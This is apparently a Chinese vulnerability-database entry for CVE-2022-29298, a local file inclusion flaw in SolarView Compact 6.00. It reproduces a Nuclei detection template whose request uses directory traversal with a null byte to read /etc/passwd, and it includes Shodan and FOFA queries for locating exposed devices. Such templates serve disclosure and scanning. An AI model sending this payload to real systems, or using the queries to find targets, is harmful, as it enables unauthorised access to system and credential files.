CVE-2022-29298: SolarView Compact 6.00 - Local File Inclusion

日期: 2025-08-01 | 影响软件: SolarView Compact | POC: 已公开

漏洞描述

SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.

PoC代码[已公开]

id: CVE-2022-29298

info:
  name: SolarView Compact 6.00 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in SolarView Compact 6.00.
  reference:
    - https://www.exploit-db.com/exploits/50950
    - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view
    - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29298
    - https://github.com/20142995/pocsuite3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-29298
    cwe-id: CWE-22
    epss-score: 0.89611
    epss-percentile: 0.99538
    cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contec
    product: sv-cpt-mc310_firmware
    shodan-query:
      - http.html:"SolarView Compact"
      - http.html:"solarview compact"
    fofa-query: body="solarview compact"
  tags: cve,cve2022,lfi,solarview,edb,contec

http:
  - method: GET
    path:
      - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210081bb01ea4079fb08cd53f304e05b39a2ecf415b9d07e59f0479680e3335af9d80220064d05867bc0f99b88384daf61df3f6ada4d91266c51eda53f193901cfdbbacf:922c64590222798bb761d5b6d8e72950

相关漏洞推荐